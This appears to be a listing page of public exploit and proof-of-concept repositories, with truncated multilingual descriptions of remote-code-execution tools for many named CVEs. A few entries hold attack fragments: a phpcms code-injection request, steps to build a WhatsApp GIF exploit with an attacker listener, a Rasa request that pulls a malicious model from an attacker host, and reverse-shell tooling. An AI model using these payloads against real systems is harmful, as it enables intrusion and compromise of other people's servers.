CVE-2016-3088

CVE-2016-3088 - تنفيذ كود عن بُعد في Apache ActiveMQ...

CVE-2019-9193

EN GenPostgresRCEExploit هي أداة PoC مصممة لاستغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE التي تتطلب مصادقة في إصدارات معينة من PostgreSQL 9.3 - 11.7. تتيح للمستخدمين الموثّقين تنفيذ أوامر النظام على خادم قاعدة بيانات PostgreSQL المعرّض للثغرة CVE-2019-9193. الميزات استغلال RCE : تنفيذ أوامر...

CVE-2025-32433-Exploit-edited

Exploit CVE-2025-32433 Compatible Windows Exécution de code à distance non authentifiée SSH Erlang/OTP Description Ce dépôt contient un exploit pour CVE-2025-32433, une vulnérabilité critique d'exécution de code à distance non authentifiée dans le serveur SSH Erlang/OTP. Caractéristiques...

CVE-2026-47670

CVE-2026-47670 Exécution de code à distance authentifiée via injection dans le paramètre functionName de la fonction loadReader dans DbGate DbGate est un outil open-source et multiplateforme de gestion de bases de données conçu pour les développeurs et administrateurs de bases de données qui...

CVE-2022-22963

CVE-2022-22963 spring cloud function sple rce أداة استغلال بنقرة واحدة لـ spring cloud function! بواسطة charis المدونة: https://charis3306.top/ تم تعبئتها كملف exe جاهز للاستخدام موضوع الأوامر usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url URL --ip IP --port PORT...

joomla_rce_CVE-2015-8562

joomlarceCVE-2015-8562 Toutes les versions de Joomla! inférieures à 3.4.6 sont connues pour être vulnérables. Mais l'exploitation est possible avec les versions de PHP inférieures à 5.5.29, 5.6.13 et inférieures à 5.5. Démo : https://www.youtube.com/watch?v=twqYpn1ir4o...

CVE-2019-12840.py

CVE-2019-12840.py POC شل وهمي: CVE-2019-12840 RCE مصادق عليه - تحديثات حزم Webmin...

CVE-2024-32002-Reverse-Shell

CVE-2024-32002-صدفة-عكسية يوضح هذا البرنامج النصي كيفية استغلال الثغرة الأمنية CVE-2024-32002 للحصول على صدفة عكسية، مما يوفر وصولاً عن بُعد إلى النظام المتأثر. استخدمه بحذر في بيئات خاضعة للرقابة ولأغراض تعليمية أو اختبارات أمنية فقط. منشور المدونة هذا البرنامج النصي مستوحى من المدونة:...

CVE-2022-40127-Airflow-RCE

Apache Airflow توجد ثغرة أمنية في DAGs المثال Example Dags في Apache Airflow تسمح لمهاجم لديه وصول إلى واجهة المستخدم ويمكنه تشغيل DAGs بتنفيذ أوامر عشوائية عبر معامل runid المُقدَّم يدويًا. تؤثر هذه المشكلة على إصدارات Apache Airflow السابقة للإصدار 2.4.0. أُنشئ هذا المستودع لمنشور مدونة لتحليل...

next88

next88 - ماسح ثغرات RCE لمكونات خادم React أداة عالية الأداء بلغة Go لكشف ثغرات RCE في مكونات خادم React CVE-2025-55182 و CVE-2025-66478. الميزات 🚀 أداء عالي : ملف ثنائي مترجم بلغة Go مع توازي مبني على goroutines 🔍 طرق كشف متعددة : كشف أمن عبر القناة الجانبية فحوصات إثبات المفهوم لـ RCE تقنيات...

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin إثبات المفهوم pgAdmin Query Tool RCE CVE-2025-2945 – إثبات المفهوم باستخدام بايثون ⚠️ إخلاء مسؤولية يحتوي هذا المستودع على استغلال إثبات المفهوم لـ CVE-2025-2945، وهو ثغرة حرجة لتنفيذ الأوامر عن بُعد في إصدارات pgAdmin 4 قبل 9.2. استخدم هذا الكود فقط في البيئات التي تملكها...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 Recently we found a vulnerability in /type.php of phpcms 2008 source code. When attackers send crafted requests like "/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss", evil content in this case "@unlinkFILE;assert$POST1;" will be written into cache file in this...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 Preuve de concept Analyse : https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ Le script Python abuse de la fonction de téléversement disponible sans authentification à l'URL /admin/files-upload/. Le script crée localement un dossier bin ...

CVE-2019-11932

CVE-2019-11932 قم بتعديل عنوان الاستماع عنوان المهاجم ومنفذ الاستماع في ملف exploit.c الكود السداسي التالي: 3139 322e 3136 382e 322e 3732 2034 3434 3420 قم بتجميع الكود: gcc -o exploit egiflib.c exploit.c قم بتشغيل الملف المُجمَّع ./exploit exploit.gif انسخ/الصق المخرجات في ملف gif قم بتشغيل مستم...

CVE-2024-28397-js2py-Sandbox-Escape

Introduction 中文 Analyse Chinois Analyse Anglais js2py est un package python populaire qui peut évaluer du code javascript à l'intérieur de l'interpréteur python. Il est utilisé par divers web scrapers pour analyser le code javascript sur le site web. Il existe une vulnérabilité dans...

CVE-2024-4879

ثغرة حقن قالب Jelly في ServiceNow | إثبات المفهوم CVE-2024-4879 الوصف: قامت ServiceNow بمعالجة ثغرة في التحقق من صحة الإدخال تم اكتشافها في إصدارات Now Platform الخاصة بفانكوفر وواشنطن العاصمة. قد تمكن هذه الثغرة مستخدمًا غير موثّق من تنفيذ كود عن بُعد في سياق Now Platform. FOFA : "server :...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py يمكنك تشغيله مباشرة python server-1.py رفع ملفات بشكل تعسفي PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 التأثير كما يلي: CVE-2021-41127 server-1.py اسم النموذج الافتراضي evilimportmodel.tar.gz نموذج خبيث تجري...

CVE-2026-48907

CVE-2026-48907 — تنفيذ الأوامر عن بُعد RCE بدون مصادقة في Joomla Content Editor JCE الإصدارات ≥ 2.9.99.4 إثبات المفهوم PoC لثغرة CVE-2026-48907 — وهي ثغرة تنفيذ أوامر عن بُعد RCE بدون مصادقة بتصنيف CVSS 10.0 في إضافة Joomla Content Editor JCE. بحث من فريق Grayxploit الأمني جدول المحتويات نظرة عام...

CVE-2025-10230

CVE-2025-10230: ثغرة RCE حرجة في Samba CVSS 10.0 ملخص الثغرة CVE-2025-10230 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد RCE ظلت مخفية في قاعدة كود Samba لمدة 13 عامًا. تتمثل الثغرة في معالجة حزم تسجيل WINS خدمة أسماء Windows للإنترنت. عند تكوينه كوحدة تحكم بالمجال مع wins support = yes وسكربت...

CVE-2024-36401-poc

CVE-2024-36401 — Injection XPath RCE dans GeoServer via OGC Exploit d'exécution de code à distance non authentifié pour GeoServer via l'injection du paramètre valueReference de filtre OGC évaluation XPath/JXPath. Avertissement : Cet outil est destiné uniquement aux tests d'intrusion autorisés et ...